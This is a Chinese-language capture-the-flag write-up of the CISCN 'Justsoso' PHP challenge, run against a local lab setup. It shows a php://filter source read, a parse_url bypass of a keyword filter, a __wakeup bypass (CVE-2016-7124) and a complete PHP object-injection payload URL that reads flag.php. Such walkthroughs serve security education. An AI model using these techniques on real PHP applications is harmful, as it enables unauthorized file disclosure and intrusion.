CISCN Web1 Justsoso
自己搭了环境来复现这道题
开始
查看源码发现
这里有个文件包含漏洞 可以用php://filter/read=convert.base64-encode/resource=
来读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
hint.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.' '; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @(ctfwriteup)include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>
index.php的源码
不能用这个方法读取flag.php 因为有preg_match过滤了flag字符串 没办法绕过
看到hint.php 想到了反序列化
echo @highlight_file($this->file,true);
将flag.php传入file可以读取源码 但是index.php里又对payload传入的值做了限制
1 2 3 4 5 6 7 if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit();
不能传入flag的字样
无从下手
看到parse_str()
函数想起在ssrf里面出现过并且有技巧可以绕过
https://skysec.top/2017/12/15/parse-url函数小记/
从师傅这里看到只要在url后面加上//即可以绕过
绕过了
接下来就到了反序列化的部分
1 2 3 4 public function __destruct(){ $this->handle->getFlag(); } }
最终要触发getFlag函数
可是前面有个__wakeup方法
unserialize()时会先检查是否存在一个-wakeup方法。如果存在,会先调用__wakeup方法,预先准备对象需要的资源。
1 2 3 4 5 6 public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; }
这里的wakeup方法会把我们传入的参数全都置空
这里要运用到一个漏洞
https://www.cnblogs.com/Mrsm1th/p/6835592.html
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } }
现在就剩下这个判断条件了
new Flag()的时候会给token_flag和token赋值随机数1-10000的md5
执行getFlag函数时重新对token_flag赋值如果token_flag依然等于token则条件判断通过
这里需要用到一个php的技巧 引用赋值
当b引用的值 当a的值改变时b也会跟着改变
最后得到payload
http://127.0.0.1:8088///?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;s:32:%2253c3bce66e43be4f209556518c2fcb54%22;s:10:%22token_flag%22;R:4;}}
这里要注意
s:14:”Handlehandle” 为什么长度是12,前面的值却是14
这是因为
当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14.类似的protect属性,则是在*前后各有一个0x00。